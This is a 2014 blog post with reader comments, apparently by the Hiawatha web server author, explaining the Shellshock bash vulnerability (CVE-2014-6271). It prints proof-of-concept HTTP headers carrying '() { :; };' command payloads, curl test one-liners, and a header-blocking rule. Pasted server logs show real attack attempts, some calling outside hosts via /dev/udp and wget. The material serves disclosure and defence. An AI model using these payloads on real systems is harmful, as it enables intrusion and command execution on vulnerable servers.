A remotely exploitable vulnerability has been discovered in bash on Linux. The vulnerability has the CVE identifier CVE-2014-6271. The major attack vectors that have been identified in this case are HTTP requests and CGI scripts. Another attack surface is OpenSSH through the use of AcceptEnv variables. Also through TERM and SSH_ORIGINAL_COMMAND. An environmental variable with an arbitrary name can carry a nefarious function which can enable network exploitation.

A typical attack goes via the User-Agent string, because that one can contain spaces without the need to do URL encoding. Take a look at the following request which exploits this bug.

GET /script.sh HTTP/1.0
Host: localhost
User-Agent: () { ignored; }; echo -e "Content-Type: text/plain\r\n\r"; /usr/bin/id

Although any HTTP header can be used to exploit this bug, my guess is that many exploit scripts will use common headers like User-Agent and Referer. You can use this to block the attack in Hiawatha via the following configuration.

UrlTookit {
  ToolkitID = block_bash_exploit
  Header User-Agent \(\)\s*\{ DenyAccess
  Header Referer \(\)\s*\{ DenyAccess

The next version of Hiawatha will accept a wildcard for the Header option, which allows you to check all HTTP headers for the pattern. This will completely block the exploit.

I don't agree with the statement that this is 'the next heartbleed'. I don't think that many people use bash these days for their websites. And if a shell script is present on a webserver, it's often that /bin/sh is being used which can also point to other shells like dash.

My previous claim that this bug can't be exploited via Hiawatha turned out to be false. I focused too much on the URL and forgot about other possible attack vectors.

Hugo Leisink
25 September 2014, 15:12
Looks like people are already trying to exploit this:|Thu 25 Sep 2014 04:13:18 +0200|200|1755||GET / HTTP/1.0|User-Agent: shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)|Accept: */*|Host:() { :; }; ping -c 23|Referer: () { :; }; ping -c 11|Thu 25 Sep 2014 10:29:06 +0200|301|920||GET / HTTP/1.1|User-Agent: () { :; }; echo -e "Content-Type: text/plain\n"; echo qQQQQQq|Host: hiawatha-webserver.org|Accept: */*|Thu 25 Sep 2014 10:29:07 +0200|200|5573||GET / HTTP/1.1|User-Agent: () { :; }; echo -e "Content-Type: text/plain\n"; echo qQQQQQq|Host: www.hiawatha-webserver.org|Accept: */*|Thu 25 Sep 2014 12:23:54 +0200|404|822||GET /cgi-sys/defaultwebpage.cgi HTTP/1.0|User-Agent: () { :;}; /bin/ping -c 1|Accept: */*|Thu 25 Sep 2014 16:29:31 +0200|301|920||GET / HTTP/1.1|User-Agent: () { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444|Host: hiawatha-webserver.org|Accept: */*|Fri 26 Sep 2014 04:32:18 +0200|301|920||GET / HTTP/1.1|Content-Type: text/html|Host: hiawatha-webserver.org|Accept: text/html, */*|User-Agent: () { :;}; wget 'http://taxiairportpop.com/s.php?s=http://hiawatha-webserver.org/'|Fri 26 Sep 2014 09:13:27 +0200|301|954||GET /images/banners/hiawatha_392x72.png HTTP/1.1|Host: www.hiawatha-webserver.org|User-Agent: () { :;};ls -lsa|Accept: image/png,image/*;q=0.8,*/*;q=0.5|Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3|Accept-Encoding: gzip, deflate|Referer: () { :;};ls -lsa|Connection: keep-alive|Fri 26 Sep 2014 09:13:28 +0200|200|32505||GET /images/banners/hiawatha_392x72.png HTTP/1.1|Host: www.hiawatha-webserver.org|User-Agent: () { :;};ls -lsa|Accept: image/png,image/*;q=0.8,*/*;q=0.5|Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3|Accept-Encoding: gzip, deflate|Referer: () { :;};ls -lsa|Connection: keep-alive

I updated this post with the latest logs. Looks like I was right about the User-Agent and Referer header.
25 September 2014, 15:43
There are more HTTP headers that get literally transferred to CGI scripts via environment variables and could hence be used to trigger the bash bug, e.g. User-Agent and Referer:

curl -A '() { :; }; echo; echo vulnerable; exit' http://localhost/test.cgi
curl -e '() { :; }; echo; echo vulnerable; exit' http://localhost/test.cgi
25 September 2014, 15:46

Are you stating above that currently Hiawatha is currently vulnerable and needs immediate patching


Are you saying that people are trying to breach but Hiawatha is still secure but that you are surprise of other attack surfaces.



Hugo Leisink
25 September 2014, 15:46
@mx: Actually, any HTTP header will do. You can, for example, use an X-Exploit header.
GET /script.sh HTTP/1.0
X-Exploit: () { ignored; }; echo "Content-Type: text/plain\r\n\r"; /usr/bin/id

This will be exported via the HTTP_X_EXPLOIT variable.
25 September 2014, 15:48
Oop, I forgot to add that I am using php-fpm, so there is no environment variables there, just a unix socket.

Should those run php-fpm be concerned? Or ONLY CGI people?
Hugo Leisink
25 September 2014, 15:48
@Marco: Hiawatha and PHP are not vulnerable, it's Bash (/bin/bash) that holds the bug. Bash should be patched. Of course, I already patched my system. Therefore, any attempt on my server will fail.

So, unless you enabled Hiawatha to allow the execution of CGI scripts via CGIextension or CGIhandler and a bash script is available in one of your websites, you have nothing to worry about.
25 September 2014, 15:54
Mr Hugo:

You Sir, Are a scholar and a gentleman....

Thanks for continued efforts of the super lightweight Hiawatha!

25 September 2014, 16:02
Thank you guys for this informations here. On my OpenBSD there is no bash. But Debian testing / Raspbian Jessie has no fix until now. Thats quite bad.
25 September 2014, 16:17
@Hugo: I think your examples are missing a -e switch to echo or it won't turn \r and \n into the actual return and newline characters.
Hugo Leisink
25 September 2014, 16:18
That is possible. I tested this on my MacBook. Bash on a Mac doesn't require the -e. It's possible that bash on Linux does.
J. Lambrecht
26 September 2014, 01:15
Hugo, once more thank you for the no nonsense open-book approach paired with an accute awareness of what's playing in security.
Hugo Leisink
26 September 2014, 09:40
You're welcome!
20 October 2019, 19:02
Thanks Hugo for your efforts! As soon as I opened my new page a bunch of evil requests appeared, so a secure server is a must. I really hope I can help you someday.